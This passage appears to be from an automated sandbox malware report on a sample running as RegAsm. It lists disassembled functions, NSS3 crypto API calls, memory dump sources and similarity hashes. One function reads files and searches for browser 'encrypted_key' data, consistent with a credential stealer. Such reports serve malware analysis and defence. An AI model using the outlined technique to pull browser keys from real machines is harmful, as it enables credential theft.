PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C32CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C32CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6C32CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C32CD8E

Part of subcall function 6C2505C0: PR_EnterMonitor.NSS3 ref: 6C2505D1
Part of subcall function 6C2505C0: PR_ExitMonitor.NSS3 ref: 6C2505EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6C32CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C32CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C32CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C32CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6C32CE48

Strings

freeaddrinfo, xrefs: 6C32CD9F, 6C32CE10
ws2_32.dll, xrefs: 6C32CD75
wship6.dll, xrefs: 6C32CDE3
getnameinfo, xrefs: 6C32CDB2, 6C32CE23
getaddrinfo, xrefs: 6C32CD88, 6C32CDF9

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 2537d9f27ca180e72ea18d5cdc09276cae3d68c41aaa1c56388917fa56023e13
Instruction ID: 90519a5d51c631c81260f8039900ebcd19a3e60d72bf49f4e42f69e15c016786
Opcode Fuzzy Hash: 2537d9f27ca180e72ea18d5cdc09276cae3d68c41aaa1c56388917fa56023e13
Instruction Fuzzy Hash: 0011D0B6E1215596FF21AB753C01AAF389C6F0214DF580535EC09D6F01FB2AD6288EE2

Function 6C2D0C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,-l), ref: 6C2D0C81

Part of subcall function 6C2BBE30: SECOID_FindOID_Util.NSS3(6C27311B,00000000,?,6C27311B,?), ref: 6C2BBE44

Part of subcall function 6C2A8500: SECOID_GetAlgorithmTag_Util.NSS3(6C2A95DC,00000000,00000000,00000000,?,6C2A95DC,00000000,00000000,?,6C287F4A,00000000,?,00000000,00000000), ref: 6C2A8517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C2D0CC4

Part of subcall function 6C2BFAB0: free.MOZGLUE(?,-00000001,?,?,6C25F673,00000000,00000000), ref: 6C2BFAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C2D0CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6C2D0D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6C2D0D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6C2D0D7D
free.MOZGLUE(00000000), ref: 6C2D0DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C2D0DC1
free.MOZGLUE(00000000), ref: 6C2D0DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C2D0E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C2D0E0F

Part of subcall function 6C2A95C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6C287F4A,00000000,?,00000000,00000000), ref: 6C2A95E0
Part of subcall function 6C2A95C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6C287F4A,00000000,?,00000000,00000000), ref: 6C2A95F5
Part of subcall function 6C2A95C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C2A9609
Part of subcall function 6C2A95C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C2A961D
Part of subcall function 6C2A95C0: PK11_GetInternalSlot.NSS3 ref: 6C2A970B
Part of subcall function 6C2A95C0: PK11_FreeSymKey.NSS3(00000000), ref: 6C2A9756
Part of subcall function 6C2A95C0: PK11_GetIVLength.NSS3(?), ref: 6C2A9767
Part of subcall function 6C2A95C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6C2A977E
Part of subcall function 6C2A95C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C2A978E

Strings

*,-l, xrefs: 6C2D0C69, 6C2D0DE0, 6C2D0C80, 6C2D0C8B, 6C2D0CAF
*,-l, xrefs: 6C2D0DCC
-$-l, xrefs: 6C2D0C64

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,-l$*,-l$-$-l
API String ID: 3136566230-686021399
Opcode ID: 7cb054df5a05d7fa8bde098c51acefd07e261424840ddf928401745084496ded
Instruction ID: 719a18ce3debf32755e82c7f544efa0187741179fbb413d81ad5bb0140cecbcc
Opcode Fuzzy Hash: 7cb054df5a05d7fa8bde098c51acefd07e261424840ddf928401745084496ded
Instruction Fuzzy Hash: 5A41F2B990020EABEB009F64EC81BAF7674EF1430CF110125ED1567751E735BA18CBE2

Function 6C2C6CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6C391DE0,?), ref: 6C2C6CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C2C6D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6C2C6D70
PORT_Alloc_Util.NSS3(00000480), ref: 6C2C6D82
DER_GetInteger_Util.NSS3(?), ref: 6C2C6DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C2C6DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6C2C6E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6C2C6F19
PK11_DigestBegin.NSS3(00000000), ref: 6C2C6F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6C2C6F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C2C7011
PK11_FreeSymKey.NSS3(00000000), ref: 6C2C7033
free.MOZGLUE(?), ref: 6C2C703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6C2C7060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C2C7087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6C2C70AF

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: f82a90b036c8dda161766e816aafe8867b79f7bfb8932ea269881e4c68704f29
Instruction ID: 590b0d92b120052658198b8203f4b37236f9a435b1a1428c38619d2efbf30125
Opcode Fuzzy Hash: f82a90b036c8dda161766e816aafe8867b79f7bfb8932ea269881e4c68704f29
Instruction Fuzzy Hash: 4AA1077171420A9BEB409E24DCC1F7A32A4DB8130DF244B3AFD59CBA81E735D8498793

Function 004157D6 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 188stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041580E
_memset.LIBCMT ref: 0041581F

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

lstrcatA.KERNEL32(?,00000000,?,?,?,?,?,?), ref: 0041584A
lstrcatA.KERNEL32(?,?,?,?,?,?,?), ref: 00415868
lstrcatA.KERNEL32(?,?,?,?,?,?,?,?), ref: 0041587C
lstrcatA.KERNEL32(?,?,?,?,?,?,?), ref: 0041588F

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 00411D92: GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Part of subcall function 0040819F: StrStrA.SHLWAPI(00000000,"encrypted_key":",?,?,?,?,?,?,0040CC90,?,?), ref: 004081E5

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 004121E7: GlobalAlloc.KERNEL32(00000000,?,?,?,?,?,00415925,?), ref: 004121F2

StrStrA.SHLWAPI(00000000), ref: 00415933
GlobalFree.KERNEL32(?), ref: 00415A55

Part of subcall function 00408048: CryptStringToBinaryA.CRYPT32($g@,00000000,00000001,00000000,?,00000000,00000000), ref: 00408060
Part of subcall function 00408048: LocalAlloc.KERNEL32(00000040,?,?,?,00406724,?), ref: 0040806E
Part of subcall function 00408048: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00408084
Part of subcall function 00408048: LocalFree.KERNEL32(?,?,?,00406724,?), ref: 00408093

lstrcatA.KERNEL32(?,00000000), ref: 004159E1
StrCmpCA.SHLWAPI(?,00436645), ref: 004159FE
lstrcatA.KERNEL32(?,?), ref: 00415A1D
lstrcatA.KERNEL32(?,00436A84), ref: 00415A2E

Strings

n\A, xrefs: 004157F5

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$File$AllocLocal$BinaryCryptFreeGlobalString_memset$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID: n\A
API String ID: 4109952398-2866633830
Opcode ID: 30b79bb67abf9d5d79c814ac0e0c67dda69aa1842f82ae69836adc9e434d7f49
Instruction ID: aab4dfdc135e43e6bda5853d7922828100d75f7f2cc13c40a66ad14c5bb7ae17
Opcode Fuzzy Hash: 30b79bb67abf9d5d79c814ac0e0c67dda69aa1842f82ae69836adc9e434d7f49
Instruction Fuzzy Hash: 1F714CB1D4022D9BDF20DF20DC45ACA77BABF88314F0405E6E908A3250EA369FA58F55

Function 6C282C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?(l,?,6C27E477,?,?,?,00000001,00000000,?,?,6C283F23,?), ref: 6C282C62
EnterCriticalSection.KERNEL32(0000001C,?,6C27E477,?,?,?,00000001,00000000,?,?,6C283F23,?), ref: 6C282C76
PL_HashTableLookup.NSS3(00000000,?,?,6C27E477,?,?,?,00000001,00000000,?,?,6C283F23,?), ref: 6C282C86
PR_Unlock.NSS3(00000000,?,?,?,?,6C27E477,?,?,?,00000001,00000000,?,?,6C283F23,?), ref: 6C282C93

Part of subcall function 6C30DD70: TlsGetValue.KERNEL32 ref: 6C30DD8C
Part of subcall function 6C30DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C30DDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6C27E477,?,?,?,00000001,00000000,?,?,6C283F23,?), ref: 6C282CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6C27E477,?,?,?,00000001,00000000,?,?,6C283F23,?), ref: 6C282CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6C27E477,?,?,?,00000001,00000000,?,?,6C283F23), ref: 6C282CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6C27E477,?,?,?,00000001,00000000,?), ref: 6C282CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6C27E477,?,?,?,00000001,00000000,?), ref: 6C282D4D
EnterCriticalSection.KERNEL32(?), ref: 6C282D61
PL_HashTableLookup.NSS3(?,?), ref: 6C282D71
PR_Unlock.NSS3(?), ref: 6C282D7E

Part of subcall function 6C2507A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C1E204A), ref: 6C2507AD
Part of subcall function 6C2507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C1E204A), ref: 6C2507CD
Part of subcall function 6C2507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C1E204A), ref: 6C2507D6
Part of subcall function 6C2507A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C1E204A), ref: 6C2507E4
Part of subcall function 6C2507A0: TlsSetValue.KERNEL32(00000000,?,6C1E204A), ref: 6C250864
Part of subcall function 6C2507A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C250880
Part of subcall function 6C2507A0: TlsSetValue.KERNEL32(00000000,?,?,6C1E204A), ref: 6C2508CB
Part of subcall function 6C2507A0: TlsGetValue.KERNEL32(?,?,6C1E204A), ref: 6C2508D7
Part of subcall function 6C2507A0: TlsGetValue.KERNEL32(?,?,6C1E204A), ref: 6C2508FB

Strings

#?(l, xrefs: 6C282C43

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?(l
API String ID: 2446853827-2779643576
Opcode ID: ad9ac495e31253eb475f8ca67de348917d6727f629f11c34964dba9994db0f49
Instruction ID: 7bb95a79a2fe08b60559e2bee998b1e35d17e2a9213ce4442a8c9a40d2397a21
Opcode Fuzzy Hash: ad9ac495e31253eb475f8ca67de348917d6727f629f11c34964dba9994db0f49
Instruction Fuzzy Hash: AE51D8B6D01209ABDB10AF24DC858AAB778FF1535CB048520EC1997B51F731F968C7E1

Function 6C2DAD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C2DADB1

Part of subcall function 6C2BBE30: SECOID_FindOID_Util.NSS3(6C27311B,00000000,?,6C27311B,?), ref: 6C2BBE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C2DADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C2DAE08

Part of subcall function 6C2BB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C3918D0,?), ref: 6C2BB095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C2DAE25
PL_FreeArenaPool.NSS3 ref: 6C2DAE63
PR_CallOnce.NSS3(6C3C2AA4,6C2C12D0), ref: 6C2DAE4D

Part of subcall function 6C1E4C70: TlsGetValue.KERNEL32(?,?,?,6C1E3921,6C3C14E4,6C32CC70), ref: 6C1E4C97
Part of subcall function 6C1E4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C1E3921,6C3C14E4,6C32CC70), ref: 6C1E4CB0
Part of subcall function 6C1E4C70: PR_Unlock.NSS3(?,?,?,?,?,6C1E3921,6C3C14E4,6C32CC70), ref: 6C1E4CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C2DAE93
PR_CallOnce.NSS3(6C3C2AA4,6C2C12D0), ref: 6C2DAECC
PL_FreeArenaPool.NSS3 ref: 6C2DAEDE
PL_FinishArenaPool.NSS3 ref: 6C2DAEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C2DAEF5
PL_FinishArenaPool.NSS3 ref: 6C2DAF16

Strings

security, xrefs: 6C2DADEE

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 92a38a4242f3ec41001a03211029587d6c479bf125476a388542cf54f3ff989a
Instruction ID: 532c9236a9dd4a9b84ff25b9da9ef5e190a9dc5833b6abf541efcb9e2d684d79
Opcode Fuzzy Hash: 92a38a4242f3ec41001a03211029587d6c479bf125476a388542cf54f3ff989a
Instruction Fuzzy Hash: F1412AB590420AEBE7215A24DC85FBA32A8AF6130DF150535FC1497B41FB39B608CBD3

Function 6C278DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6C278E22
EnterCriticalSection.KERNEL32(?), ref: 6C278E36
memset.VCRUNTIME140(?,00000000,?), ref: 6C278E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6C278E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C278E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C278EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6C278EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C278EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6C278F00
free.MOZGLUE(?), ref: 6C278F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6C278F39
memset.VCRUNTIME140(?,00000000,?), ref: 6C278F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6C278F5B
PR_Unlock.NSS3(?), ref: 6C278F72
PR_Unlock.NSS3(?), ref: 6C278F82

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: c8bb36aa7cd0ccbcb62f208aa153d8b442d7dfd55b4f162d5b2f055a0648a839
Instruction ID: 65ec064df7ff38f552ca7a6cfe254aa9cc73baa3c09c3434daebf9ee91bb9883
Opcode Fuzzy Hash: c8bb36aa7cd0ccbcb62f208aa153d8b442d7dfd55b4f162d5b2f055a0648a839
Instruction Fuzzy Hash: 1051F872E0021A9FD7209F68CCC49AAB7B9EF55358B144129FC58AB700E731ED458BF2

Function 6C2AEDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6C2AEE0B

Part of subcall function 6C2C0BE0: malloc.MOZGLUE(6C2B8D2D,?,00000000,?), ref: 6C2C0BF8
Part of subcall function 6C2C0BE0: TlsGetValue.KERNEL32(6C2B8D2D,?,00000000,?), ref: 6C2C0C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C2AEEE1

Part of subcall function 6C2A1D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6C2A1D7E
Part of subcall function 6C2A1D50: EnterCriticalSection.KERNEL32(?), ref: 6C2A1D8E
Part of subcall function 6C2A1D50: PR_Unlock.NSS3(?), ref: 6C2A1DD3

TlsGetValue.KERNEL32 ref: 6C2AEE51
EnterCriticalSection.KERNEL32(?), ref: 6C2AEE65
PR_Unlock.NSS3(?), ref: 6C2AEEA2
free.MOZGLUE(?), ref: 6C2AEEBB
PR_SetError.NSS3(00000000,00000000), ref: 6C2AEED0
PR_Unlock.NSS3(?), ref: 6C2AEF48
free.MOZGLUE(?), ref: 6C2AEF68
PR_SetError.NSS3(00000000,00000000), ref: 6C2AEF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6C2AEFA4
free.MOZGLUE(?), ref: 6C2AEFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C2AF055
free.MOZGLUE(?), ref: 6C2AF060

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 424493ebd583da9a8beb32ccc87750a21be0ca5e60e09910f97750dbe0d8ad85
Instruction ID: 55254b9d5a67b0b2959caa7d2d42cd6f362c8d555b0dff260b3327f4bc5b8ce2
Opcode Fuzzy Hash: 424493ebd583da9a8beb32ccc87750a21be0ca5e60e09910f97750dbe0d8ad85
Instruction Fuzzy Hash: 208163B5A002099BDF00DFA5DD45ADEBBB9BF08318F144024FD19A3751E731E965CBA1

Function 6C274CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6C274D80
PORT_Alloc_Util.NSS3(00000000), ref: 6C274D95
PORT_NewArena_Util.NSS3(00000800), ref: 6C274DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C274E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C274E43
PORT_NewArena_Util.NSS3(00000800), ref: 6C274E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6C274E85
DER_Encode_Util.NSS3(?,?,6C3C05A4,00000000), ref: 6C274EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6C274F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6C274F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C274F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C274F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C274F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C274FC8

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: e5a19bbbe85d8ab356056e0a1b106b8000fce5ee48ab6a052ed13979af0469ea
Instruction ID: feef983528e1693494492d524db9f94cd968706ef41d005f09aadebd4973f376
Opcode Fuzzy Hash: e5a19bbbe85d8ab356056e0a1b106b8000fce5ee48ab6a052ed13979af0469ea
Instruction Fuzzy Hash: 4F81A275A043099FE721CF28D880B5BB7E8AB84358F148529FD98DB641E731E904CFA3

Function 6C29ADC0 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6C29ADE6
